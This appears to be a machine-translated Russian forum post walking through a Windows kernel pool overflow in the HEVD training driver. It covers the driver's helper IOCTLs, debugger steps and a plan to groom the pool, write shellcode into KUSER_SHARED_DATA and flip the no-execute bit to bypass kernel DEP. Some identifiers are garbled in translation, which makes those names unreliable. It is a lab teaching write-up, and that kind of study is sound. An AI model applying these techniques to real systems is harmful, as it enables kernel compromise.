• XSS.stack #1 – первый литературный журнал от юзеров форума

Techniques Разработка эксплойтов: Плаваем в пуле (ядра) - эксплуатация уязвимостей пула ядра из Low-Integrity, часть 2

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Введение
Эта статья является второй частью серии из двух статей о повреждении пула в эпоху кучи сегментов в Windows. Часть 1, которую можно найти здесь, начинает эту серию с использования уязвимости out-of-bounds для обхода kASLR из-за низкой целостности. Связывая эту уязвимость утечки информации с ошибкой, описанной в этом посте, которая представляет собой переполнение пула, ведущее к произвольному примитиву чтения/записи, мы завершим эту серию, указав, почему повреждение пула в эру кучи сегментов стало менее разрушительным, со времен Windows 7.

В связи с недавним выпуском Windows 11, в которой по умолчанию будет включена безопасность на основе виртуализации (VBS) и целостность защищенного кода гипервизора (HVCI), мы отдадим должное методам повреждения записей в таблице страниц для обхода SMEP и DEP в ядре с помощью эксплойта, который будет описан в этом сообщении. Хотя Windows 11 не будет использоваться компаниями в течение некоторого времени, как в случае с развертыванием новых технологий на любом предприятии, исследователям уязвимостей необходимо будет начать отходить от использования искусственно созданных областей исполняемой памяти в ядре для выполнения кода, в пользу атак в стиле data-only или исследовать новые методы обхода VBS и HVCI. Это направление, в котором я надеюсь начать свои исследования в будущем. Скорее всего, это будет последний мой пост, в котором используется повреждение записей в таблице страниц.

Хотя есть гораздо лучшие объяснения внутреннего устройства пула в Windows, такие как эта статья и предстоящий доклад моего коллеги Ярдена Шафира по BlackHat 2021 USA, который можно найти здесь, часть 1 этой серии блогов будет содержать большую часть необходимых знаний, используемых для этого сообщения - так что, хотя есть ресурсы получше, я настоятельно рекомендую вам сначала прочитать часть 1, если вы используете это сообщение в качестве пошагового руководства (что является причиной и объясняет длину моих сообщений)

Анализ Уязвимости
Давайте посмотрим на исходный код BufferOverflowNonPagedPoolNx.c в ветке win10-klfh HEVD, который обнаруживает довольно тривиальную и управляемую уязвимость переполнения буфера на основе пула.

1.png


Первая функция в исходном файле - TriggerBufferOverflowNonPagedPoolNx. Эта функция, которая возвращает значение типа NTSTATUS, имеет прототип для приема буфера UserBuffer и размера Size. TriggerBufferOverflowNonPagedPoolNx вызывает API режима ядра ExAllocatePoolWithTag для выделения фрагмента из пула NonPagedPoolNx размером POOL_BUFFER_SIZE. Откуда такой размер? Взглянув на самое начало BufferOverflowNonPagedPoolNx.c, мы ясно увидим, что BufferOverflowNonPagedPoolNx.h включен.

2.png


Взглянув на этот файл заголовка, мы можем увидеть директиву #define для размера, которая определяется директивой процессора, чтобы сделать эту переменную равной 16 на 64-битной машине Windows, с которой мы проводим тестирование. Теперь мы знаем, что фрагмент пула, который будет выделен из вызова ExAllocatePoolWithTag в TriggerBufferOverfloowNx, составляет 16 байтов.

3.png


Фрагмент пула режима ядра, который теперь выделяется на NonPagedPoolNx, управляется возвращаемым значением ExAllocatePoolWithTag, которым в данном случае является KernelBuffer. Посмотрев немного дальше по коду, мы увидим, что RtlCopyMemory, которая является оболочкой для вызова memcpy, копирует значение UserBuffer в распределение, управляемое KernelBuffer. Размер буфера, копируемого в KernelBuffer, определяется параметром Size. После записи фрагмента на основе кода в BufferOverflowNonPagedPoolNx.c фрагмент пула также впоследствии освобождается.

4.png


Это в основном означает, что значение, указанное в Size и UserBuffer, будет использоваться в операции копирования для копирования памяти в блок пула. Мы знаем, что UserBuffer и Size встроены в определение функции для TriggerBufferOverflowNonPagedPoolNx, но откуда эти значения? Заглянув дальше в BufferOverflowNonPagedPoolNx.c, мы можем увидеть, что эти значения извлекаются из пакета IRP, отправленного этой функции через обработчик IOCTL.

5.png


Это означает, что клиент, взаимодействующий с драйвером через DeviceIoControl, может управлять содержимым и размером буфера, скопированного в блок пула, выделенный на NonPagedPoolNx, который составляет 16 байтов. Уязвимость здесь заключается в том, что мы можем контролировать размер и содержимое памяти, скопированной в блок пула, что означает, что мы можем указать значение больше 16, которое будет записывать в память за пределами выделения, как если бы граничная уязвимость записи, известная в данном случае как «переполнение пула».

Давайте проверим эту теорию, расширив наш эксплойт из первой части и задействовав уязвимость.

Вызываем уязвимость
Мы воспользуемся предыдущим эксплойтом из Части 1 и доработаем код переполнения пула до конца, после цикла for, который выполняет синтаксический анализ для извлечения базового адреса HEVD.sys. Этот код можно увидеть ниже, который отправляет буфер размером 50 байтов в блок пула размером 16 байтов. IOCTL для достижения функции TriggerBufferOverflowNonPagedPool равен 0x0022204b.

6.png


После того, как это распределение выполнено и фрагмент пула впоследствии освобожден, мы можем видеть, что происходит BSOD с проверкой ошибок, указывающей, что заголовок пула был поврежден.

7.png


8.png


9.png


Это результат нашей уязвимости записи за пределами допустимого диапазона, которая повредила заголовок пула. Когда заголовок пула поврежден и фрагмент впоследствии освобождается, для фрагмента пула, входящего в область видимости, выполняется проверка «целостности», чтобы убедиться, что он имеет допустимый заголовок. Поскольку мы произвольно записали содержимое за блоком пула, выделенным для нашего буфера, отправленным из пользовательского режима, мы впоследствии перезаписали другие блоки пула. Из-за этого, а также из-за того, что каждый фрагмент в kLFH, где находится наше выделение на основе эвристики, упомянутой в Части 1, с добавлением структуры _POOL_HEADER, мы впоследствии повредили заголовок каждого последующего фрагмента. Мы можем подтвердить это, установив точку останова при вызове ExAllocatePoolWithTag и включив отладочную печать, чтобы увидеть структуру пула до того, как произойдет освобождение.

10.png


Точка останова, установленная на адресе fffff80d397561de, который является первой точкой останова, установленной на приведенной выше фотографии, является точкой останова при фактическом вызове ExAllocatePoolWithTag. Точка останова, установленная по адресу fffff80d39756336, - это инструкция, которая идет непосредственно перед вызовом ExFreePoolWithTag. Эта точка останова находится в нижней части фотографии выше с помощью точки останова 3. Это необходимо для обеспечения приостановки выполнения перед освобождением блока.

11.png


Затем мы можем проверить уязвимый фрагмент, ответственный за переполнение, чтобы определить, соответствует ли тег _POOL_HEADER фрагменту, что он и делает.

12.png


После возобновления выполнения снова выполняется проверка ошибок. Это связано с освобождением блока пула с недопустимым заголовком.

13.png


Это подтверждает, что запись за пределами допустимого диапазона действительно существует. Теперь, имея в распоряжении обходной путь kASLR, возникает вопрос - как полностью выполнить код режима ядра из пользовательского режима?

Стратегия эксплуатации
Справедливое предупреждение - в этом разделе содержится много анализа кода, чтобы понять, что делает этот драйвер для очистки пула, поэтому имейте это в виду.

Как вы можете вспомнить из Части 1, ключ к эксплуатации пула в эпоху сегментной кучи лежит в поиске объектов, особенно при использовании kLFH, которые имеют тот же размер, что и уязвимый объект, содержат интересный член в объекте, могут быть вызваны из пользовательского режима и размещаются в пуле того же типа, что и уязвимый объект. Напомним, что ранее размер уязвимого объекта составлял 16 байт. Теперь цель состоит в том, чтобы посмотреть на исходный код драйвера, чтобы определить, нет ли полезного объекта, который мы можем выделить, который бы удовлетворял всем указанным выше параметрам. Обратите внимание, что самая сложная часть эксплуатации пула - это поиск стоящих объектов.

К счастью, есть два файла с названиями ArbitraryReadWriteHelperNonPagedPoolNx.c и ArbitraryReadWriteHelperNonPagedPoolNx.h, которые нам пригодятся. Судя по названию, эти файлы, похоже, выделяют какой-то объект на NonPagedPoolNx. Опять же, обратите внимание, что на этом этапе в реальном мире нам нужно будет реконструировать драйвер и просмотреть все экземпляры распределения пула, проверить их аргументы во время выполнения и посмотреть, нет ли способа получить полезные объекты на том же самом пуле и kLFH bucket как уязвимый объект для выполнения pool grooming.

ArbitraryReadWriteHelperNonPagedPoolNx.h содержит две интересные структуры, показанные ниже, а также несколько определений функций (которые мы коснемся позже - убедитесь, что вы ознакомились с этими структурами и их членами!).

14.png


Как мы видим, каждое определение функции определяет параметр типа PARW_HELPER_OBJECT_IO, который является указателем на объект ARW_HELP_OBJECT_IO, определенный на изображении выше!

Давайте исследуем ArbitraryReadWriteHelpeNonPagedPoolNx.c, чтобы определить, как эти объекты ARW_HELPER_OBJECT_IO создаются и используются в определенных функциях на изображении выше.

Глядя на ArbitraryReadWriteHelperNonPagedPoolNx.c, мы видим, что он содержит несколько обработчиков IOCTL. Это указывает на то, что эти объекты ARW_HELPER_OBJECT_IO будут отправлены клиентом (нами). Давайте посмотрим на первый обработчик IOCTL.

15.png


Похоже, что объекты ARW_HELPER_OBJECT_IO создаются с помощью обработчика IOCTL CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler. Этот обработчик принимает буфер, приводит его к типу ARW_HELP_OBJECT_IO и передает буфер функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx. Давайте проверим CreateArbitraryReadWriteHelperObjectNonPagedPoolNx

16.png


CreateArbitraryReadWriteHelperObjectNonPagedPoolNx сначала объявляет несколько вещей:
  1. Указатель с именем Name
  2. Переменная с типои SIZE_T - Length, длина
  3. Переменная NTSTATUS, для которой установлено значение STATUS_SUCCESS для обработки ошибок.
  4. Целое число FreeIndex, которому присвоено значение STATUS_INVALID_INDEX.
  5. Указатель типа PARW_HELPER_OBJECT_NON_PAGED_POOL_NX, называемый ARWHelperObject, который является указателем на объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, который мы видели ранее определенным в ArbitraryReadWriteHelperNonPagedPoolNx.h.
Функция, после объявления указателя на ранее упомянутый ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, проверяет входной буфер от клиента, проанализированный обработчиком IOCTL, чтобы убедиться, что он находится в пользовательском режиме, а затем сохраняет длину, указанную элементом Length структуры ARW_HELPER_OBJECT_IO, в ранее объявленном переменная длина. Эта структура ARW_HELPER_OBJECT_IO берется из клиента пользовательского режима, взаимодействующего с драйвером (нами), то есть она предоставляется из вызова DeviceIoControl.

Затем вызывается функция GetFreeIndex, и результат операции сохраняется в ранее объявленной переменной FreeIndex. Если возвращаемое значение этой функции равно STATUS_INVALID_INDEX, функция возвращает статус вызывающей стороне. Если значение не STATUS_INVALID_INDEX, CreateArbitraryReadWriteHelperObjectNonPagedPoolNx затем вызывает ExAllocatePoolWithTag, чтобы выделить память для ранее объявленного указателя PARW_HELPER_OBJECT_NON_PAGED_POOL_NX, который называется ARWHelperOb. Этот объект размещается на NonPagedPoolNx, как показано ниже.

17.png


После выделения памяти для ARWHelperObject функция CreateArbitraryReadWriteHelperObjectNonPagedPoolNx затем выделяет другой фрагмент из NonPagedPoolNx и выделяет эту память для ранее объявленного указателя Name.

Затем эта вновь выделенная память инициализируется нулем. Ранее объявленный указатель ARWHelperObject, который является указателем на ARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT, затем имеет свой член Name, установленный на ранее объявленное имя указателя, память которого была выделена в предыдущей операции ExAllocatePoolWithTag, а его член Length установлен на локальную переменную Length, который получил длину, отправленную клиентом пользовательского режима в операции IOCTL, через входной буфер типа ARW_HELPER_OBJECT_IO, как показано ниже. По сути, это просто инициализирует значения структуры.

18.png


Затем массив с именем g_ARWHelperOjbectNonPagedPoolNx по индексу, указанному FreeIndex, инициализируется адресом ARWHelperObject. Этот массив фактически является массивом указателей на объекты ARW_HELPER_OBJECT_NON_PAGED_POOL_NX и управляет такими объектами. Это определяется в начале ArbitraryReadWriteHelperNonPagedPoolNx.c, как показано ниже.

19.png


Прежде чем двигаться дальше - я понимаю, что это большой анализ кода, но позже я добавлю диаграммы и tl;dr, чтобы помочь разобраться во всем этом. А пока давайте продолжим копаться в коде

Вспомним, как создавался прототип функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx:
C:
NTSTATUS
CreateArbitraryReadWriteHelperObjectNonPagedPoolNx(
    _In_ PARW_HELPER_OBJECT_IO HelperObjectIo
);

Этот объект HelperObjectIo имеет тип PARW_HELPER_OBJECT_IO, который предоставляется клиентом пользовательского режима (нами). Эта структура, которая предоставляется нами через DeviceIoControl, имеет член HelperObjectAddress, установленный на адрес ARWHelperObject, ранее выделенный в CreateArbitraryReadWriteHelperObjectNonPagedPoolNx. По сути, это означает, что наша структура пользовательского режима, которая отправляется в режим ядра, имеет один из своих членов, а точнее HelperObjectAddress, установленный на адрес другого объекта режима ядра. Это означает, что он будет возвращен обратно в пользовательский режим. Это конец функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx! Давайте обновим наш код, чтобы увидеть, как это выглядит динамически. Мы также можем установить точку останова на HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNx в WinDbg. Обратите внимание, что IOCTL для запуска CreateArbitraryReadWriteHelperObjectNonPagedPoolNx равен 0x00222063

20.png


21.png


Теперь мы знаем, что эта функция выделит фрагмент пула для указателя ARWHelperObject, который является указателем на ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Давайте установим точку останова для вызова ExAllocatePoolWIthTag, отвечающего за это, и включим отладочную печать.

22.png


Также обратите внимание, что длина имени отладочной печати равна нулю. Это значение было предоставлено нами из пользовательского режима, и, поскольку мы установили буфер в ноль, поэтому длина равна нулю. FreeIndex также равен нулю. Мы коснемся этого значения позже. После выполнения операции выделения памяти и проверки возвращаемого значения мы можем увидеть знакомый тег пула Hack, который составляет 0x10 байтов (16 байтов) + 0x10 байтов для структуры _POOL_HEADER_, что в сумме составляет 0x20 байтов. Адрес этого ARW_HELPER_OBJECT_NON_PAGED_POOL_NX - 0xffff838b6e6d71b0

23.png


Затем мы знаем, что произойдет еще один вызов ExAllocatePoolWithTag, который выделит память для члена Name класса ARWHelperObject->Name, где ARWHelperObject имеет тип PARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Давайте установим точку останова для этой операции выделения памяти и проверим ее содержимое.

24.png


Мы видим, что этот фрагмент выделен в том же пуле и сегменте kLFH, что и предыдущий указатель ARWHelperObject. Адрес этого фрагмента, который равен 0xffff838b6e6d73d0, в конечном итоге будет установлен как член Name ARWHelperObject, а член Length ARWHelperObject будет установлен на член Length исходного буфера ввода пользовательского режима, который поступает из структуры ARW_HELPER_OBJECT_IO.

Отсюда мы можем нажать g в WinDbg, чтобы возобновить выполнение.

25.png


26.png


Мы можем ясно видеть, что адрес режима ядра указателя ARWHelperObject возвращается в пользовательский режим через HelperObjectAddress объекта ARW_HELPER_OBJECT_IO, указанного в параметрах входного и выходного буфера вызова DeviceIoControl.

Давайте выполним все еще раз и запишем результат.

27.png


Заметили что-нибудь? Каждый раз, когда мы вызываем CreateArbitraryReadWriteHelperObjectNonPagedPoolNx, на основе анализа выше всегда создается PARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT. Мы знаем, что существует также созданный массив этих объектов, и созданный объект для каждого заданного вызова функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx назначается массиву с индексом FreeIndex. После повторного запуска обновленного кода мы видим, что при повторном вызове функции и, следовательно, создании другого объекта, значение FreeIndex было увеличено на единицу. Повторно выполнив все еще раз во второй раз, мы снова увидим, что это так!

28.png


Мы знаем, что эта переменная FreeIndex устанавливается с помощью вызова функции GetFreeIndex, как показано ниже.
C:
Length = HelperObjectIo->Length;

        DbgPrint("[+] Name Length: 0x%X\n", Length);

        //
        // Get a free index
        //

        FreeIndex = GetFreeIndex();

        if (FreeIndex == STATUS_INVALID_INDEX)
        {
            //
            // Failed to get a free index
            //

            Status = STATUS_INVALID_INDEX;
            DbgPrint("[-] Unable to find FreeIndex: 0x%X\n", Status);

            return Status;
        }

Давайте посмотрим, как эта функция определяется и выполняется. Заглянув в ArbitraryReadWriteHelperNonPagedPoolNx.c, мы увидим, что функция определена как таковая.

29.png


Эта функция, которая возвращает целочисленное значение, выполняет цикл for на основе MAX_OBJECT_COUNT, чтобы определить, имеет ли массив g_ARWHelperObjectNonPagedPoolNx, который является массивом указателей на ARW_HELPER_OBJECT_NON_PAGED_POOL_NXs значение, назначенное для данного индекса, который начинается с 0. Например, Цикл for сначала проверяет, присвоено ли значение 0-му элементу в массиве g_ARWHelperObjectNonPagedPoolNx. Если он назначен, индекс в массиве увеличивается на единицу. Это продолжается до тех пор, пока цикл for больше не сможет найти значение, присвоенное данному индексу. В этом случае текущее значение, используемое в качестве счетчика, присваивается значению FreeIndex. Это значение затем передается в операцию присваивания, используемую для присвоения ARWHelperObject в области видимости массиву, управляющему всеми такими объектами. Этот цикл повторяется MAX_OBJECT_COUNT раз, что определено в ArbitraryReadWriteHelperNonPagedPoolNx.h как #define MAX_OBJECT_COUNT 65535. Это общее количество объектов, которыми может управлять массив g_ARWHelperObjectNonPagedPoolNx

Tl;dr того, что здесь происходит, находится в функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx:
  1. Создайте объект PARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT с именем ARWHelperObject
  2. Задайте для члена Name ARWHelperObject буфер на NonPagedPoolNx, который имеет значение 0
  3. Установите для члена Length объекта ARWHelperObject значение, указанное в буфере ввода, предоставляемом пользователем, через DeviceIoControl.
  4. Назначьте этот объект массиву, который управляет всеми активными объектами PARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT
  5. Вернуть адрес ARWHelpeObject в пользовательский режим через выходной буфер DeviceIoControl
Вот схема этого в действии.

30.png


Давайте посмотрим на следующий обработчик IOCTL после CreateArbitraryReadWriteHelperObjectNonPagedPoolNx, который является SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler. Этот обработчик IOCTL примет пользовательский буфер, предоставленный DeviceIoControl, который, как ожидается, будет иметь тип ARW_HELPER_OBJECT_IO. Эта структура затем передается в функцию SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx, которая прототипируется как таковая:
Код:
NTSTATUS
SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx(
    _In_ PARW_HELPER_OBJECT_IO HelperObjectIo
)

Давайте посмотрим, что эта функция будет делать с нашим входным буфером. Вспомните, как в прошлый раз мы могли указать длину, которая использовалась в операции над размером члена Name объекта ARWHELPER_OBJECT_NON_PAGED_POOL_NX ARWHelperObject. Кроме того, мы смогли вернуть адрес этого указателя в пользовательский режим.

31.png


Эта функция начинается с определения нескольких переменных:
  1. Указатель с именем Name
  2. Указатель с именем HelperObjectAddress
  3. Целочисленное значение с именем Index, которому присваивается статус STATUS_INVALID_INDEX
  4. Код NTSTATUS
После объявления этих значений эта функция сначала проверяет, находится ли входной буфер из пользовательского режима, указатель ARW_HELPER_OBJECT_IO, в пользовательском режиме. После подтверждения этого член Name, который является указателем, из этого буфера пользовательского режима сохраняется в указателе Name, ранее объявленном в списке объявленных переменных. Член HelperObjectAddress из буфера пользовательского режима, который после вызова CreateArbitraryReadWriteHelperObjectNonPagedPoolNx, содержит адрес режима ядра PARW_HELPER_OBJECT_NON_PAGED_POOL_OBJECT ARWHelperObject, который извлекается и сохраняется в объекте объявленной функции HelperOb в начале объявленной функции HelperOb.

Выполняется вызов GetIndexFromPointer с адресом HelperObjectAddress в качестве аргумента в этом вызове. Если возвращаемое значение - STATUS_INVALID_INDEX, вызывающей стороне возвращается код NTSTATUS STATUS_INVALID_INDEX. Если функция возвращает что-либо еще, значение индекса выводится на экран.

Откуда взялось это значение? GetIndexFromPointer определяется как таковой.

32.png


Эта функция принимает значение любого указателя, но на практике это используется для указателя на объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Эта функция принимает предоставленный указатель и индексирует массив указателей ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, g_ARWHelperObjectNonPagedPoolNx. Если значение не было присвоено массиву (например, если CreateArbitraryReadWriteHelperObjectNonPagedPoolNx не был вызван, так как это присвоит массиву любой созданный ARW_HELPER_OBJECT_NON_PAGED_POOL_NX или объект был освобожден), возвращается STATUS_INVALID_INDEX. Эта функция в основном гарантирует, что объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX в области видимости управляется массивом. Если он существует, эта функция возвращает индекс массива, в котором находится данный объект.

Давайте посмотрим на следующий фрагмент кода из функции SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx.

33.png


После подтверждения существования ARW_HELPER_OBJECT_NON_PAGED_POOL_NX выполняется проверка, чтобы убедиться, что указатель Name, который был извлечен из буфера пользовательского режима элемента Name типа PARW_HELPER_OBJECT_IO, находится в пользовательском режиме. Обратите внимание, что g_ARWHelperObjectNonPagedPoolNx[Index] используются в этой ситуации, как еще один способ ссылки на объекте ARW_HELPER_OBJECT_NON_PAGED_POOL_NX в области видимости, так как все g_ARWHelperObjectNonPagedPoolNx находится в конце дня является массивом, типа PARW_HELPER_OBJECT_NON_PAGED_POOL_NX, которая управляет всеми активными указателями ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.

После подтверждения того, что буфер поступает из пользовательского режима, эта функция завершается копированием значения Name, которое является значением, предоставленным нами через DeviceIoControl и объект ARW_HELPER_OBJECT_IO, в член Name ранее созданного ARW_HELPER_OBJECT_NON_PAGED_POOL_NX через CreateArbitraryReadWriteHelperObaged

Давайте проверим эту теорию в WinDbg. Здесь мы должны искать значение, указанное членом Name нашего предоставленного пользователем ARW_HELPER_OBJECT_IO, которое должно быть записано в член Name объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, созданного в предыдущем вызове CreateArbitraryReadWriteHelperObjectNonPagedPoolNx. Наш обновленный код выглядит следующим образом.

34.png


Приведенный выше код должен перезаписать член Name ранее созданного объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX из функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx. Обратите внимание, что IOCTL для функции SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx равен 0x00222067.

Затем мы можем установить точку останова в WinDbg для выполнения динамического анализа.

35.png


Затем мы можем установить точку останова на ProbeForRead, которая будет принимать первый аргумент, который является нашим пользовательским ARW_HELPER_OBJECT_IO, и проверять, находится ли он в пользовательском режиме. Мы можем проанализировать этот адрес памяти в WinDbg, который будет в RCX, когда вызов функции происходит из-за соглашения о вызовах __fastcall, и увидеть, что это не только буфер пользовательского режима, но и объект, из которого мы намеревались отправить пользовательский режим для функции SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx.

36.png


Это значение HelperObjectAddress является адресом ранее созданного/связанного объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Мы также можем проверить это в WinDbg.

Вспомните ранее, что связанный объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX имеет член Length, взятый из Length, отправленного из нашей структуры ARW_HELPER_OBJECT_IO пользовательского режима. Член Name в ARW_HELPER_OBJECT_NON_PAGED_POOL_NX также инициализируется нулевым значением в соответствии с вызовом RtlFillMemory из подпрограммы CreateArbitraryReadWriteHelperObjectNonPagedPoolNx, который инициализирует буфер Name с помощью значения 0 (напомним, что член Name буфера для ARW_HELPER_OBJECT_NON_PAGED_POOL_NX фактически был выделен с помощью ExAllocatePoolWithTag структуры ARW_HELPER_OBJECT_IO в нашем вызове DeviceIoControl).

ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name - это член, который должен быть перезаписан содержимым объекта ARW_HELPER_OBJECT_IO, который мы отправили из пользовательского режима, который в настоящее время установлен на 0x4141414141414141. Зная это, давайте установим точку останова в подпрограмме RtlCopyMemory, которая будет отображаться как memcpy в HEVD через WinDbg.

37.png


Это не удается. Код ошибки здесь - доступ запрещен. Почему это? Напомним, что есть последний вызов ProbeForRead непосредственно перед вызовом memcpy

C:
ProbeForRead(
    Name,
    g_ARWHelperObjectNonPagedPoolNx[Index]->Length,
    (ULONG)__alignof(UCHAR)
);

Переменная Name здесь извлекается из буфера пользовательского режима ARW_HELPER_OBJECT_IO. Поскольку мы предоставили значение 0x4141414141414141, это технически недействительный адрес, и вызов ProbeForRead не сможет найти этот адрес. Вместо этого давайте создадим указатель пользовательского режима и воспользуемся им!

38.png


После повторного выполнения кода и достижения всех точек останова мы видим, что выполнение теперь достигает подпрограммы memcpy.

39.png


После выполнения процедуры memcpy объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, созданный из функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx, теперь указывает на значение, указанное нашим буфером пользовательского режима, 0x4141414141414141.

40.png


Мы приближаемся к нашей цели! Вы можете видеть, что это в значительной степени неконтролируемый произвольный примитив записи сам по себе. Однако проблема здесь в том, что значение, которое мы можем перезаписать, - это ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Name - это указатель, который выделяется в ядре через ExAllocatePoolWithTag. Поскольку мы не можем напрямую управлять адресом, хранящимся в этом элементе, мы ограничены только перезаписью того, что нам предоставляет ядро. Наша цель - использовать уязвимость переполнения пула, чтобы преодолеть это (в будущем).

Прежде чем перейти к этапу эксплуатации, нам нужно изучить еще один обработчик IOCTL, а также обработчик IOCTL для удаления объектов, что не должно занимать много времени.

Последний обработчик IOCTL, который нужно исследовать, - это обработчик IOCTL GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler.

41.png


Этот обработчик передает предоставленный пользователем буфер типа ARW_HELPER_OBJECT_IO в GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx. Эта функция идентична функции SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx в том, что она копирует один член Name в другой член Name, но в обратном порядке. Как видно ниже, член Name, используемый в аргументе назначения для вызова RtlCopyMemory, на этот раз взят из буфера, предоставленного пользователем.

42.png


43.png


Это означает, что если бы мы использовали функцию SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx перезаписать элемент Name объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX из функции CreateArbitraryReadWriteHelperObjectNonPagedPoolNx тогда мы могли бы использовать GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx, чтобы получить имя элемента объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX и пузырек его по итогам обратно в пользовательском режиме. Давайте изменим наш код, чтобы обрисовать это. Код IOCTL для доступа к функции GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx - 0x0022206B.

44.png


В этом случае нам не нужно WinDbg для проверки чего-либо. Мы можем просто установить содержимое нашего члена ARW_HELPER_OBJECT_IO.Name как нежелательное в качестве POC, что после вызова IOCL для достижения GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx этот элемент будет перезаписан содержимым связанного/ранее созданного объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, который будет 0x4141414141414141

45.png


Поскольку tempBuffer назначен для ARW_HELPER_OBJECT_IO.Name, это технически значение, которое наследует содержимое ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name в операции memcpy от функции GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx. Как мы видим, мы можем успешно получить содержимое связанного объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name. Опять же, проблема в том, что мы не можем выбрать, на что указывает ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name, поскольку это определяется драйвером. Вскоре мы воспользуемся уязвимостью переполнения пула, чтобы преодолеть это ограничение.

Последний обработчик IOCTL - это операция удаления, найденная в DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler.

46.png


Этот обработчик IOCTL анализирует входной буфер из DeviceIoControl как структуру ARW_HELPER_OBJECT_IO. Затем этот буфер передается в функцию DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx.

47.png


48.png


Эта функция довольно упрощена - поскольку HelperObjectAddress указывает на связанный объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, этот член используется в вызове ExAllocateFreePoolWithTag для освобождения объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Кроме того, освобождается член ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name, который также выделяется ExAllocatePoolWithTag.

Теперь, когда мы знаем все тонкости работы драйвера, мы можем продолжить (обратите внимание, что нам повезло, что у нас есть исходный код в этом случае. Использование дизассемблера требует немного больше времени, чтобы прийти к тем же выводам. мы смогли прийти)

Теперь давайте приступим к эксплуатации (на этот раз по-настоящему)
Мы знаем, что наша ситуация в настоящее время допускает неконтролируемый произвольный примитив чтения/записи. Это связано с тем, что член ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name в настоящее время установлен на адрес распределения пула через ExAllocatePoolWithTag. При переполнении нашего пула мы попытаемся перезаписать этот адрес на значимый адрес. Это позволит нам повредить управляемый адрес, что позволит нам получить произвольный примитив чтения/записи.

Наша стратегия очистки пула, поскольку все эти объекты имеют одинаковый размер и размещены в пуле одного и того же типа (NonPagedPoolNx), будет следующей:
  1. «Заполнить дыры» в текущей странице, обслуживающей выделение размера 0x20
  2. Подготовьте пул до следующего макета: VULNERABLE_OBJECT | ARW_HELPER_OBJECT_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | ARW_HELPER_OBJECT_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
  3. Используйте примитив чтения/записи, чтобы записать наш шелл-код, по одному QWORD за раз, в KUSER_SHARED_DATA + 0x800 и переверните бит no-eXecute, чтобы обойти DEP в режиме ядра.
Вспомните ранее высказывавшееся мнение о необходимости сохранения структур _POOL_HEADER? Здесь все для нас проходит полный круг. Напомним из части 1, что kLFH по-прежнему использует унаследованные структуры _POOL_HEADER для обработки и хранения метаданных для блоков пула. Это означает, что кодирование не происходит, и можно жестко закодировать заголовок в эксплойте, чтобы при переполнении пула мы могли убедиться, что при перезаписи заголовка он перезаписывается тем же содержимым, что и раньше.

Давайте проверим значение _POOL_HEADER объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, которое мы бы переполнили

49.png


50.png


